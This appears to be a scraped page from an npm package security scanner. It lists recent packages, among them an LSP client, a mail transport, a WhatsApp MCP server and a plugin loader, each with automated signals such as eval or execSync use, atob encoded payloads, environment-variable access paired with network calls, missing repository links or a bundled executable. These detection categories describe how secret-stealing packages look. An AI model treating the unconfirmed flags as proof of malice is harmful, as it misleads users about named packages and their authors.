  • MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝
Package purpose: 墨斗 Modou LSP 客户端(PRD F16)——language server 诊断与定义跳转注入 agent 上下文
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/detect.js:3

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest — — 🪝 🌐
Package purpose: A Resend transport for @nxgt/mail over fetch, with no SDK: it throws the MailFailure and MailRefused of its @nxgt/mail peer, and passes the conformance suite.
Static code signals:
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/index.d.ts:9 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/index.js:225 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/dist/webhooks.js:23

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: Servidor MCP para enviar mensagens, documentos e imagens pelo WhatsApp.
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/index.js:35
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/index.js:21

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: SDK that optimizes LLM prompts, tracks token usage and costs, enforces budgets, and shows a live terminal dashboard
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/providers/base.js:26
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/providers/deepseek.js:19 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Unverified Signal
— npm latest Shigma — 🪝
Package purpose: Plugin loader for cordis
Static code signals:
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/lib/index.js:291 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/lib/index.js:289 (+1 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/index.js:670 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝
Package purpose: NewsNext CLI for win32-x64-msvc
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/newsnext.exe' in npm tarball

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →
40 7d — — —
Possible Squatted Stub
— npm latest — — 🪝 🌐
Package purpose: CLI and MCP for Clavis Org and App setup (Passkey steps require a human)
Static code signals:
  • MISSING_SOURCE_REPOSITORY_URL
  • SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/cli.js:211 (+2 more occurrence(s) elsewhere)
  • SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/cli.js:423 (+2 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

LINK COPIED TO CLIPBOARD